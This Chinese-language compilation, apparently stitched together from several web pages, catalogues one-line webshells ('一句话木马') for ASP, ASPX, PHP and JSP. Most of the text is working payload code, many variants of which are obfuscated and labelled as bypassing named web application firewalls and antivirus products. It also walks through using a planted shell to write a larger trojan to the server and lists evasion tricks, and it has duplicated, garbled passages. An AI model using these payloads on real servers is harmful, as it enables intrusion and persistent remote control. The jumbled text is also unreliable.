各种⼀句话⽊马⼤全<%eval request("c")%><%execute request("c")%><%execute(request("c"))%><%ExecuteGlobal request("sb")%>%><%Eval(Request(chr(35)))%><%<%if request ("c")<>""then session("c")=request("c"):end if:if session("c")<>"" then execute session("c")%><%eval(Request.Item["c"],"unsafe");%>'备份专⽤<%eval(request("c")):response.end%>'⽆防下载表,有防下载表突破专⽤⼀句话<%execute request("c")%><%<%loop<%:%><%<%loop<%:%><%execute request("c")%><%execute request("c")<%loop<%:%>'防杀防扫专⽤<%if Request("c")<>"" ThenExecuteGlobal(Request("c"))%>'不⽤"<,>"<script language=VBScript runat=server>execute request("c")</script><% @Language="JavaScript" CodePage="65001"var lcx={'名字':Request.form('#'),'性别':eval,'年龄':'18','昵称':'请叫我⼀声⽼⼤'};lcx.性别((lcx.名字)+'') %><script language=vbs runat=server>eval(request("c"))</script><script language=vbs runat=server>eval_r(request("c"))</script>'不⽤双引号<%eval request(chr(35))%>'可以躲过雷客图<%set ms = server.CreateObject("MSScriptControl.ScriptControl.1") nguage="VBScript"ms.AddObject"response",response ms.AddObject"request",request ms.ExecuteStatement("ev"&"al(request(""c""))")%><%dy=request("dy")%><%Eval(dy)%>'容错代码if Request("sb")<>"" then ExecuteGlobal request("sb") end ifPHP⼀句话复制代码代码如下:<?php eval($_POST1);?><?php if(isset($_POST['c'])){eval($_POST['c']);}?><?php system($_REQUEST1);?><?php ($_=@$_GET1).@$_($_POST1)?><?php eval_r($_POST1)?><?php @eval_r($_POST1)?>//容错代码<?php assert($_POST1);?>//使⽤Lanker⼀句话客户端的专家模式执⾏相关的PHP语句<?$_POST['c']($_POST['cc']);?><?$_POST['c']($_POST['cc'],$_POST['cc'])?><?php @preg_replace("/[email]/e",$_POST['h'],"error");?>/*使⽤这个后,使⽤菜⼑⼀句话客户端在配置连接的时候在"配置"⼀栏输⼊*/:<O>h=@eval_r($_POST1);</O><?php echo `$_GET['r']` ?>//绕过<?限制的⼀句话<script language="php">@eval_r($_POST[sb])</script>JSP⼀句话复制代码代码如下:<%if(request.getParameter("f")!=null)(newjava.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write (request.getParameter("t").getBytes());%>提交客户端<form action="" method="post"><textareaname="t"></textarea><br/><input type="submit"value="提交"></form>ASPX⼀句话<script language="C#"runat="server">WebAdmin2Y.x.y a=new WebAdmin2Y.x.y("add6bb58e139be10")</script> 再补充⼏个:推荐还是把⼀句话加进图⽚⾥⾯去。
⼀句话⽊马记录1、asp⼀句话⽊马:<%eval request(“x”)%>2、php⼀句话⽊马:<?php eval($_POST[g]);?>3、aspx⼀句话:<%@ Page Language=”Jscript”%><%eval(Request.Item["x"],”unsafe”);%>4、数据库加密⼀句话(密码a):┼攠数畣整爠焕敌瑳∨≡┩忾5、⽹站配置、版权信息专⽤⼀句话:”%><%Eval Request(x)%>6、⼀句话再过护卫神:<%Y=request(“x”)%> <%execute(Y)%>7、过拦截⼀句话⽊马:<% eXEcGlOBaL ReQuEsT(“x”) %>8、asp闭合型⼀句话:%><%eval request(“0o1Znz1ow”)%><%9、能过安全狗的解析格式:;hfdjf.;dfd.;dfdfdfd.asp;sdsd.jpg http://www.toreadsafe.xyz10、突破安全狗的⼀句话:<%Y=request(“x”)%> <%eval(Y)%>11、elong过安全狗的php⼀句话:<?php $a = “a”.”s”.”s”.”e”.”r”.”t”; $a($_POST[cc]); ?>12、突破护卫神,保护盾⼀句话:<?php $a = str_replace(x,”",”axsxxsxexrxxt”);$a($_POST["test"]); ?>13、⾼强度php⼀句话:<?php substr(md5($_REQUEST['heroes']),28)==’acd0′&&eval($_REQUEST['c']);?>14、后台常⽤写⼊php⼀句话(密码x):<?$fp = @fopen(“c.php”, ‘a’);f@fwrite($fp, ‘<’.'?php’.”\r\n\r\n”.’eval($_POST[x])’.”\r\n\r\n?”.”>\r\n”);@fclose($fp);>15、许多⽹页程序都不允许包含〈%%〉标记符号的内容的⽂件上传,这样⼀句话⽊马就写⼊不进数据库了。
Java中JS引擎实现的⼀句话⽊马⽬录前⾔基本原理获取脚本引擎绑定对象eval基本语法调⽤Java⽅法导⼊Java类型创建Java类型的数组导⼊Java类⽅法调⽤与重载Payload结构设计语法问题的坑两种语⾔对象间的相互转换Rhino/Nashorn解析的差异反射的坑保底操作测试最后前⾔⼀直以来,Java⼀句话⽊马都是采⽤打⼊字节码defineClass实现的。
这种⽅法的优势是可以完整的打进去⼀个类,可以⼏乎实现Java上的所有功能。
不⾜之处就是Payload过于巨⼤,并且不像脚本语⾔⼀样⽅便修改。
并且还存在很多特征,例如继承ClassLoader,反射调⽤defineClass等。
本在这⾥提出⼀种Java⼀句话⽊马:利⽤Java中JS引擎实现的⼀句话⽊马。
基本原理1. Java没有eval函数,Js有eval函数,可以把字符串当代码解析。
2. Java从1.6开始⾃带ScriptEngineManager这个类,原⽣⽀持调⽤js,⽆需安装第三⽅库。
3. ScriptEngine⽀持在Js中调⽤Java的对象综上所述,我们可以利⽤Java调⽤JS引擎的eval,然后在Payload中反过来调⽤Java对象,这就是本⽂提出的新型Java⼀句话的核⼼原理。
ScriptEngineManager全名javax.script.ScriptEngineManager,从Java 6开始⾃带。
其中Java 6/7采⽤的js解析引擎是Rhino,⽽从java8开始换成了Nashorn。
不同解析引擎对同样的代码有⼀些差别,这点后⾯有所体现。
如果说原理其实⼀两句话就可以说清楚,但是难点在于Payload的编写。
跨语⾔调⽤最⼤的⼀个难点就是数据类型以及⽅法的转换。
例如Java中有byte数组,Js中没有怎么办?C++⾥有指针但是Java⾥没有这个玩意怎么办?在实现期间踩了很多的坑,这篇⽂章跟⼤家⼀起掰扯掰扯,希望能给⼤家提供点帮助。
⼀句话⽊马的原理及利⽤其实我还是有点没太明⽩,ASP⼀句话⽊马,感觉和PHP⼀句话有点不太⼀样,,等有机会⼀定要⾯对⾯和⼤佬请教请教⼀句话⽊马的原理及利⽤(asp,aspx,php,jsp)⼀句话⽊马的适⽤环境:1.服务器的来宾账户有写⼊权限2.已知数据库地址且数据库格式为asa或asp3.在数据库格式不为asp或asa的情况下,如果能将⼀句话插⼊到asp⽂件中也可⼀句话⽊马的⼯作原理:"⼀句话⽊马"服务端(本地的html提交⽂件)就是我们要⽤来插⼊到asp⽂件中的asp语句,(不仅仅是以asp为后缀的数据库⽂件),该语句将回为触发,接收⼊侵者通过客户端提交的数据,执⾏并完成相应的操作,服务端的代码内容为 <%execute request("value")%> 其中value可以⾃⼰修改"⼀句话⽊马"客户端(远程服务器上被插⼊⼀句话的asp⽂件)⽤来向服务端提交控制数据的,提交的数据通过服务端构成完整的asp功能语句并执⾏,也就是⽣成我们所需要的asp⽊马⽂件现在先假设在远程主机的TEXT.ASP(客户端)中已经有了<%execute request("value")%>这个语句.)在ASP⾥<%execute ............")%>意思是执⾏省略号⾥的语句.那么如果我写进我们精⼼构造的语句,它也是会帮我们执⾏的.就按照这上⾯的思路,我们就可以在本地构造⼀个表单内容如下:(//为注释)<textarea name=value cols=120 rows=10 width=45>set lP=server.createObject("Adodb.Stream")//建⽴流对象lP.Open //打开lP.Type=2 //以⽂本⽅式lP.CharSet="gb2312" //字体标准lP.writetext request("newvalue")lP.SaveToFile server.mappath("newmm.asp"),2 //将⽊马内容以覆盖⽂件的⽅式写⼊newmm.asp,2就是已覆盖的⽅式lP.Close //关闭对象set lP=nothing //释放对象response.redirect "newmm.asp" //转向newmm.asp</textarea><textarea name=newvalue cols=120 rows=10 width=45>添⼊⽣成⽊马的内容</textarea><BR><center><br><input type=submit value=提交></form>表单的作⽤就是把我们表单⾥的内容提交到远程主机的TEXT.ASP这个⽂件.然后因为TEXT.ASP⾥有<%execute request("value")%>这句,那么这句代码就会执⾏我们从表单⾥传来的内容哦.(表单名必须和<%execute request("value")%>⾥的VALUE⼀样,就是我⽤蓝⾊标记的那两处,必须相等)说到这⾥⼤家是不是清楚了.我们构造了两个表单,第⼀个表单⾥的代码是⽂件操作的代码(就是把第⼆个表单内的内容写⼊在当前⽬录下并命名为newvalue.ASP的这么⼀段操作的处理代码)那么第⼆个表单当然就是我们要写⼊的马了.具体的就是下⾯这⼀段:set lP=server.createObject("Adodb.Stream")//建⽴流对象lP.Open //打开lP.Type=2 //以⽂本⽅式lP.CharSet="gb2312" //字体标准lP.writetext request("newvalue")lP.SaveToFile server.mappath("newvalue.asp"),2 //将⽊马内容以覆盖⽂件的⽅式写⼊newmm.asp,2就是已覆盖的⽅式lP.Close //关闭对象set lP=nothing //释放对象response.redirect "newmm.asp" //转向newmm.asp这样的话第⼆个表单的名字必须和lP.writetext request("newvalue") ⾥的Newvalue⼀样,就是我⽤红⾊标注的那两处.⾄此只要服务器有写的权限你表单所提交的⼤马内容就会被写⼊到newmm.asp中。
java内存马利用方法Java内存马利用方法Java内存马是指通过在Java虚拟机中植入恶意代码的方式,使得攻击者可以远程控制目标系统。
由于Java语言的跨平台特性,Java内存马攻击成为网络攻击的其中一种方式。
攻击者利用Java内存马,可以在目标系统上执行任意的命令和程序,也可以窃取敏感信息,甚至控制目标系统的硬件设备。
因此,Java内存马攻击对于网络安全极为危险。
Java内存马利用方法主要有以下几种:1. 利用Java反射模块Java反射模块是Java语言中的一个核心模块,它可以访问和操作Java程序中的类、接口、属性等信息。
攻击者通过编写Java反射模块的代码,实现在Java虚拟机中动态加载恶意代码的操作,从而将内存马植入目标系统。
2. 利用Java Attach MechanismJava Attach Mechanism是Java虚拟机提供的一种方法,它允许开发人员在运行时通过一个Agent程序,动态地连接到Java虚拟机中的任意一个进程,从而可以对进程进行调试和监控。
攻击者通过Java Attach Mechanism植入Java内存马,可以窃取用户的信息或控制目标系统。
3. 利用Java Native InterfaceJava Native Interface是Java虚拟机提供的一个本机接口,它允许Java程序调用本地操作系统中的命令和程序。
通过利用Java Native Interface,攻击者可以执行恶意本地程序,从而实现Java内存马的攻击。
4. 利用ClassLoaderClassLoader是Java语言中的核心类加载器,它负责将Java类文件加载到虚拟机中执行。
攻击者通过ClassLoader的漏洞或缺陷,可以将内存马加载到目标系统中,从而对目标系统进行攻击。
为了防止Java内存马攻击,我们可以采取以下几种措施:1. 及时升级Java虚拟机和相关应用程序的版本。
新版Java虚拟机和应用程序通常会修正已知的漏洞和缺陷,从而提高系统的安全性。
一句话木马的原理及利用(asp,aspx,php,jsp)一句话木马的适用环境:1.服务器的来宾账户有写入权限2.已知数据库地址且数据库格式为asa或asp3.在数据库格式不为asp或asa的情况下,如果能将一句话插入到asp文件中也可一句话木马的工作原理:"一句话木马"服务端(本地的html提交文件)就是我们要用来插入到asp文件中的asp语句,(不仅仅是以asp为后缀的数据库文件),该语句将回为触发,接收入侵者通过客户端提交的数据,执行并完成相应的操作,服务端的代码内容为<%execute request("value")%> 其中value可以自己修改"一句话木马"客户端(远程服务器上被插入一句话的asp文件)用来向服务端提交控制数据的,提交的数据通过服务端构成完整的asp功能语句并执行,也就是生成我们所需要的asp木马文件现在先假设在远程主机的TEXT.ASP(客户端)中已经有了<%execute request("value")%>这个语句.)在ASP里<%execute ............")%>意思是执行省略号里的语句.那么如果我写进我们精心构造的语句,它也是会帮我们执行的.就按照这上面的思路,我们就可以在本地构造一个表单内容如下:(//为注释)<form action=http://主机路径/TEXT.asp method=post><textarea name=value cols=120 rows=10 width=45>set lP=server.createObject("Adodb.Stream")//建立流对象lP.Open //打开lP.Type=2 //以文本方式lP.CharSet="gb2312" //字体标准lP.writetext request("newvalue")lP.SaveToFile server.mappath("newmm.asp"),2 //将木马内容以覆盖文件的方式写入newmm.asp,2就是已覆盖的方式lP.Close //关闭对象set lP=nothing //释放对象response.redirect "newmm.asp" //转向newmm.asp</textarea><textarea name=newvalue cols=120 rows=10 width=45>添入生成木马的内容</textarea><BR><center><br><input type=submit value=提交></form>表单的作用就是把我们表单里的内容提交到远程主机的TEXT.ASP这个文件.然后因为TEXT.ASP里有<%execute request("value")%>这句,那么这句代码就会执行我们从表单里传来的内容哦.(表单名必须和<%execute request("value")%>里的V ALUE一样,就是我用蓝色标记的那两处,必须相等)说到这里大家是不是清楚了.我们构造了两个表单,第一个表单里的代码是文件操作的代码(就是把第二个表单内的内容写入在当前目录下并命名为newvalue.ASP的这么一段操作的处理代码)那么第二个表单当然就是我们要写入的马了.具体的就是下面这一段:set lP=server.createObject("Adodb.Stream")//建立流对象lP.Open //打开lP.Type=2 //以文本方式lP.CharSet="gb2312" //字体标准lP.writetext request("newvalue")lP.SaveToFile server.mappath("newvalue.asp"),2 //将木马内容以覆盖文件的方式写入newmm.asp,2就是已覆盖的方式lP.Close //关闭对象set lP=nothing //释放对象response.redirect "newmm.asp" //转向newmm.asp这样的话第二个表单的名字必须和lP.writetext request("newvalue") 里的Newvalue一样,就是我用红色标注的那两处.至此只要服务器有写的权限你表单所提交的大马内容就会被写入到newmm.asp中。
⼀句话⽊马:ASPX篇aspx⽊马收集:<%@ Page Language="Jscript"%><%eval(Request.Item["chopper"],"unsafe");%>随⽇期变化的连接密码, 服务端写法:<%@ Page Language="Jscript"%><%eval(Request.Item[FormsAuthentication.HashPasswordForStoringInConfigFile(String.Format(" {0:yyyyMMdd}",DateTime.Now.ToUniversalTime())+"37E4DD20C310142564FC483DB1132F36", "MD5").ToUpper()],"unsafe");%>例如:菜⼑的密码为chopper,在前⾯加三个字符,新密码为:{D}chopper<%@ Page Language="Jscript" validateRequest="false" %><%Response.Write(eval(Request.Item["w"],"unsafe"));%><script runat="server" language="JScript">function popup(str) {var q = "u";var w = "afe";var a = q + "ns" + w;var b= eval(str,a);return(b);}</script><%popup(popup(System.Text.Encoding.GetEncoding(65001).GetString(System.Convert.FromBase64String("UmVxdWVzdC5JdGVtWyJ6Il0="))));%>密码 z<%@ Page Language="Jscript" validateRequest="false" %><%var kengkeng = Request.Item["never"];Response.Write(eval(keng,"unsafe"));%><%@ Page Language = Jscript %><%var/*-/*-*/P/*-/*-*/=/*-/*-*/"e"+"v"+/*-/*-*/"a"+"l"+"("+"R"+"e"+/*-/*-*/"q"+"u"+"e"/*-/*-*/+"s"+"t"+"[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]"+","+"\""+"u"+"n"+"s"/*-/*-*/+"a"+"f"+"e"+"\""+")";eval(/*-/*-*/P/*-/*-*/,/*-/*-*/"u"+"n"+"s"/*-/*-*/+"a"+"f"+"e"/*-/*-*/);%>密码 -7<%@PAGE LANGUAGE=JSCRIPT%><%var PAY:String=Request["\x61\x62\x63\x64"];eval(PAY,"\x75\x6E\x73\x61"+"\x66\x65");%>密码 abcd<%@PAGE LANGUAGE=JSCRIPT%><%var PAY:String=Request["\x61\x62\x63\x64"];eval(PAY,"\x75\x6E\x73\x61"+"\x66\x65");%>过狗过D盾⼀句话<%@ Page Language="Jscript" Debug=true%><%vara=System.Text.Encoding.GetEncoding(65001).GetString(System.Convert.FromBase64String("UmVxdWVzdC5Gb3JtWyJwYXNzIl0=")); var b=System.Text.Encoding.GetEncoding(65001).GetString(System.Convert.FromBase64String("dW5zYWZl"));var c=eval(a,b);eval(c,b);%><%@ Page Language="Jscript" Debug=true%><%var a=Request.Form["pass"];var b="unsa",c="fe",d=b+c;function fun(){return a;}eval(fun(),d);%>。
java的一句话木马
Java 一句话木马是一种在 Java 环境中执行恶意代码的攻击方式。
攻击者通常会在一段 Java 代码中插入恶意代码,并将其嵌入到 Java 类文件中。
当用户下载并运行该 Java 类文件时,恶意代码就会被执行,从而对用户计算机造成威胁。
下面是一个简单的 Java 一句话木马示例,可以调用计算器程序:
```java
import java.io.IOException;
public class WebShell {
public static void main(String[] args) throws IOException {
Runtime.getRuntime().exec("calc");
}
}
```
这只是一个简单的示例,实际的 Java 一句话木马可能会更加复杂,并且可能会包含更多的恶意功能。
请注意,使用 Java 一句话木马是不道德的,并且可能会违反法律法规。
建议您始终遵守职业道德和法律法规,不要使用恶意软件或任何非法手段进行攻击或骚扰。
如何实现一句话木马并免杀一句话木马是指通过一句短小的代码语句实现对目标计算机的入侵控制,由于其隐蔽性和高效性,成为黑客攻击的主要工具之一。
而如何实现一句话木马并免杀,是当前网络攻防领域中比较热门的话题之一。
一、一句话木马的实现方法1.利用 WebShell:WebShell是黑客通过漏洞对服务器进行攻击后,上传或创建的一个类似终端界面的脚本文件。
黑客通过以Web的方式访问WebShell获得服务器权限后,就可以在服务器上执行各种操作,如上传文件、下载数据库、执行系统命令等。
2.利用“eval”函数:eval函数是PHP中的一个函数,它可以将字符串作为PHP代码来执行。
黑客可以将一段木马代码写成字符串,并把字符串传递给eval函数来执行,从而实现一句话木马的效果。
3.利用文件包含漏洞:在编写PHP程序时,如果没有对用户输入的动态参数做安全过滤,就容易产生文件包含漏洞。
黑客可以通过构造一些特殊的参数来绕过安全检查,实现在网站上执行自己的代码。
二、一句话木马免杀的技巧由于一句话木马的代码非常短小,通常只有一行,因此很难通过传统的病毒查杀软件进行检测。
但为了避免被杀毒软件查杀,黑客们也在不断地探索免杀的方法。
1.字符串混淆:一句话木马的免杀方法之一就是字符串混淆。
将木马代码进行特殊编码、手动解码,或在代码中加入大量无意义的字符和空格等,使其难以被查杀软件发现。
2.变量替换:在一句话木马代码中,变量名可以随意命名。
将变量名更改为常见函数名或参数,可以使代码看起来更像正常的PHP代码,从而避免被杀毒软件查杀。
3.动态修改:在传递一句话木马代码时,可以采用动态修改的方式,每次传递时使用不同的代码段,从而使杀毒软件难以对其进行查杀。
4.分段传输:将一句话木马代码分成多个部分进行传输,每次只传输一部分,从而规避杀毒软件的检测。
三、防范一句话木马的方法1.及时更新补丁:一般情况下,黑客攻击使用的都是已知漏洞,通过及时更新软件补丁可以减少黑客攻击的成功率。
一句话木马原理木马病毒是一种具有欺骗性的恶意软件,它通常隐藏在看似正常的程序或文件中,一旦被用户执行,就会对计算机系统造成严重危害。
那么,一句话木马是如何实现的呢?本文将从木马病毒的原理入手,为您详细解析一句话木马的工作原理。
一句话木马,顾名思义,就是指可以通过一句话来植入并执行的木马病毒。
它通常利用一些常见的Web漏洞,比如文件上传漏洞、SQL注入漏洞等,将恶意代码隐藏在看似普通的网页或文件中。
当用户访问包含一句话木马的网页或下载包含一句话木马的文件时,木马病毒就会被激活并开始执行。
一句话木马的原理主要包括以下几个方面:首先,一句话木马利用Web漏洞将恶意代码植入到合法的网页或文件中。
这些漏洞可以是由于程序编写不当、未经充分测试、缺乏安全防护措施等原因导致的。
一旦攻击者发现了这些漏洞,就可以利用它们来植入一句话木马。
其次,一句话木马利用隐藏性强的特点,将恶意代码混淆并隐藏在看似普通的网页或文件中。
这样一来,用户很难察觉到这些网页或文件中存在木马病毒,从而增加了木马病毒的传播和执行的可能性。
然后,一句话木马通过特定的触发条件来执行恶意代码。
这些触发条件可以是用户访问网页、下载文件、点击链接等。
一旦这些条件被满足,木马病毒就会被激活并开始执行,从而对计算机系统进行攻击。
最后,一句话木马利用系统漏洞或权限提升等方式,来获取系统权限并执行各种恶意操作。
这些操作可以包括窃取用户信息、篡改网站内容、发起DDoS攻击等,给用户和系统带来严重的安全威胁。
综上所述,一句话木马通过利用Web漏洞植入恶意代码、隐藏性强、特定触发条件和系统漏洞利用等方式,实现对计算机系统的攻击。
因此,用户在使用计算机时,应当加强对系统和软件的安全防护,及时修补漏洞,提高安全意识,以防止一句话木马等恶意软件的侵害。